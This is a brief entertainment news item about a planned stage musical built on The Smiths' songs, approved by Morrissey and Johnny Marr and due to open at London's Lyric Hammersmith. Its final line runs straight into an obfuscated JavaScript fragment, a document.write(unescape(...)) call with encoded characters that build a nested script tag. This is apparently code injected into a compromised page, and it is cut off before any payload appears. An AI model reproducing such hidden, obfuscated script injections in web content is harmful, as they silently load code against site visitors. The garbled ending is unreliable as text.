The Smiths musical planned

Morrissey and Johnny Marr have given their approval to a planned musical being written about the career of their old band, The Smiths.

The musical is to be written by Andrew Wale and Perrin Manzer Allen, creators of Jacques Brel's Anonymous Society.

The musical will open at London's Lyric Hammersmith theatre next July and will be named after a track by the band. It will feature 20 Smiths songs arranged for a string quartet, with a percussive lute accompaniment, and sung live by a cast of six.

According to Digitalspy quoting The Independent associate producer Michael Brazier said: "Each song has a life of its own but they are connected by the way the performers behave on stage.

"It is not a linear story. There will be action going on stage whether its dance or movement or acting without words depends on the scene. Sometimes the song - and what the singer is saying in the song - will be the main line of action. But other times when you are concentrating on the singer, out of the corner of your eye you will be seeing impressionistic goings- on elsewhere on the stage. The significance of that (action) will become clear later. The meaning of these clues will gradually reveal themselves."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22